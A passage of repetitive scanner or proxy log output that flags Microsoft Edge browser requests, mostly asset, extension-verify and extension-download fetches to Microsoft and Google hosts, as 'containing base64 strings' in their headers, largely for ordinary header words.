Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Dest" in header "GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2Host: edgeassetservice.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsEdge-Asset-Group: ShorelineSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "POST" in header "POST /chromewebstore/v1.1/items/verify HTTP/2Host: www.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonSec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "like" in header "POST /chromewebstore/v1.1/items/verify HTTP/2Host: www.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonSec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "0Content" in header "POST /chromewebstore/v1.1/items/verify HTTP/2Host: www.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonSec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Type" in header "POST /chromewebstore/v1.1/items/verify HTTP/2Host: www.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonSec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Mode" in header "POST /chromewebstore/v1.1/items/verify HTTP/2Host: www.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonSec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Site" in header "POST /chromewebstore/v1.1/items/verify HTTP/2Host: www.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonSec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Language" in header "POST /chromewebstore/v1.1/items/verify HTTP/2Host: www.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonSec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Encoding" in header "POST /chromewebstore/v1.1/items/verify HTTP/2Host: www.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonSec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "gzip" in header "POST /chromewebstore/v1.1/items/verify HTTP/2Host: www.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonSec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Dest" in header "POST /chromewebstore/v1.1/items/verify HTTP/2Host: www.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonSec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Priority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "json" in header "GET /mouse-gesture/config.json HTTP/2Host: edge-consumer-static.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: nonePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "edge" in header "GET /mouse-gesture/config.json HTTP/2Host: edge-consumer-static.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: nonePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "consumer" in header "GET /mouse-gesture/config.json HTTP/2Host: edge-consumer-static.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: nonePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "like" in header "GET /mouse-gesture/config.json HTTP/2Host: edge-consumer-static.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: nonePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "0Sec" in header "GET /mouse-gesture/config.json HTTP/2Host: edge-consumer-static.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: nonePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Mode" in header "GET /mouse-gesture/config.json HTTP/2Host: edge-consumer-static.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: nonePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Site" in header "GET /mouse-gesture/config.json HTTP/2Host: edge-consumer-static.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: nonePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "nonePriority" in header "GET /mouse-gesture/config.json HTTP/2Host: edge-consumer-static.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: nonePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Encoding" in header "GET /mouse-gesture/config.json HTTP/2Host: edge-consumer-static.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: nonePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "gzip" in header "GET /mouse-gesture/config.json HTTP/2Host: edge-consumer-static.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: nonePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Dest" in header "GET /mouse-gesture/config.json HTTP/2Host: edge-consumer-static.azureedge.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeSec-Fetch-Site: nonePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "5EAxlKa5ZzBahtzgxEuNigzgslrK" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "clients2" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "like" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "0Sec" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "Mode" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "Site" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "Language" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "9Sec" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "Mesh" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "Arch" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "iSec" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "Edge" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "3800" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "stableAccept" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "Encoding" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "gzip" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "16299Sec" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: 